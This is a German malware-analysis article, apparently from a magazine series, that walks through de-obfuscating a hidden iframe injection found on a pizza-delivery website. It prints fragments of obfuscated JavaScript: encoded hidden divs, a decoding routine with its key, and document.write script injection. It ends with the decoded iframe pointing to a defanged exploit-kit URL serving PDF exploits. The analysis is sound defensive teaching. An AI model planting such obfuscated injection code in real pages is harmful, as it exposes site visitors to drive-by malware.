Tatort Internet: Alarm beim Pizzadienst

Der versteckte IFrame

Inhaltsverzeichnis

Um den IFrame zu analysieren, lade ich die dort referenzierte Datei index.php mit dem Kommandozeilentool wget herunter und öffne sie in einem Editor.

<div style='display: none;'>
<i id =i6C>qqfppBfqZfppSf[ ... ]3fSBfq</i>
<div id =pJ0rU7V>pf33[ ... ]BfEZf</div>
</div>

Schon auf den ersten Blick sieht man, dass hier seltsame Dinge passieren: Ein Block mit HTML-Code, der verschiedene HTML-Elemente mit unterschiedlichen IDs definiert, und alle enthalten nur langen Ketten von Buchstaben. Wozu die wohl gebraucht werden? Na ja, das wird schon noch kommen; erst mal weiter schauen. Der Rest der Datei besteht aus ziemlich obskurem JavaScript-Code mit Befehlen wie:

function tG7A8Qj(qmueigi){...}

und später dann:

var VunDhir=tG7A8Qj(yOaE3xU);

Da wurde offenbar einer dieser Scrambler eingesetzt, der die Variablen- und Funktionsnamen durch zufällige Zeichenketten ersetzt, um den Code möglichst unleserlich zu gestalten. Ganz offensichtlich hat da jemand was zu verbergen. Doch so einfach lass ich mich nicht abschütteln. Weiter unten findet sich ein Feld, das die beiden IDs von oben referenziert:

var fSxMadF = new Array("i6C","pJ0rU7V");

Vermutlich werden die langen Buchstabenketten also später noch benötigt; vielleicht sind es sogar Befehle in kodierter Form. Insgesamt definiert der Code vier Funktionen. Dahinter folgt der Code, den der Browser direkt beim Aufruf der Seite ausführt:

var yOaE3xU="";
var o81fCJv = fSxMadF.length;
for (VunDhir=0; o81fCJv>VunDhir; VunDhir++) {
var yOaE3xU = yOaE3xU + w5JGZaJ(fSxMadF, VunDhir);
}

Auf den ersten Blick sieht man nur kryptisches Kauderwelsch. Erst der Blick des Experten enthüllt die Strukturen und Abläufe.

Das sieht zwar auf den ersten Blick wüst aus, ist aber noch halbwegs überschaubar. Also versuche ich mich zunächst an einer manuellen Analyse: Die Variable yOaE3xU wird mit dem leeren String initialisiert und die Variable o81fCJv bekommt den Wert 2, da das Array die beiden ID-Tags von oben enthält. Die for-Schleife ruft zweimal die Funktion w5JGZaJ() auf:

function w5JGZaJ(fSxMadF, VunDhir) {
return VunDhir=document.getElementById
(fSxMadF[VunDhir]).innerHTML;
}

Sieh an – sie greift via getElementById() und innerHTML() auf den Inhalt der HTML-Elemente mit den bereits bekannten IDs i6C und pJ0rU7V zu. Deren Inhalt wird dann innerhalb der for-Schleife der Variablen yOaE3xU zugewiesen. Nach Beenden der Schleife enthält diese Variable also die langen Buchstabenketten aus dem HTML-Code.

Weiter geht's im Text:

var VunDhir=tG7A8Qj(yOaE3xU);

Okay – hier wird der Zeichensalat offenbar dekodiert. Doch ein Blick in die Dekodierfunktion zeigt noch mehr Kauderwelsch

function tG7A8Qj(qmueigi){
var Vvl57xe,dHnHlum,VUH4Mre,f9ft2GY="",
keMFvAW="B6SjRiQwmJfo1p9qbLl7cHI5EMFvWC8ZNtrzGVaXgxDekhnd0";
for(Vvl57xe=0;Vvl57xe<qmueigi.length;Vvl57xe++)
{dHnHlum=qmueigi.charAt(Vvl57xe);
...

Und ein Ende ist noch längst nicht in Sicht, da gegen Ende eine weitere Funktion namens decryptor() aufgerufen wird. Höchste Zeit für einen erneuten Einsatz von SpiderMonkey! Der Affe stolpert zunächst über die ihm unbekannten Methoden getElementById() und innerHTML(), die es nur im Browser-Kontext gibt. Zum Glück kenn ich das Ergebnis der for-Schleife aus der manuellen Analyse bereits und kann die Variable selbst passend befüllen.

Beim zweiten Anlauf kommt SpiderMonkey ein Stück weiter, scheitert dann aber erneut mit einer Fehlermeldung auf die fehlenden Referenz auf document bei folgenden Code-Zeilen:

var gogle=document;
var yandex=document;
gogle.write("<scri"+"pt>");
yandex.write(VunDhir);
document.write("</sc"+"ript>");

Das ist eine einfache Art der Verschleierung: Verschiedenen Variablen wird das document-Object zugewiesen und dann damit erneut die Methode write() ausgeführt, um den Code in die aktuell geladene Seite zu schießen. Dazu umschließen den ausgepackten Code zerhackstückte Script-Tags. Um endlich an den injizierten Code zu kommen, kann ich den gesamten Block durch print(VunDhir); ersetzen. Als Ergebnis liefert mir SpiderMonkey dann:

document.write("<iframe 
src=\"hxxp://tissot333.cn/eleonore/pdf.php?spl=pdf_all\"
width=\"148\" height=\"261\" frameborder=\"0\"></iframe>");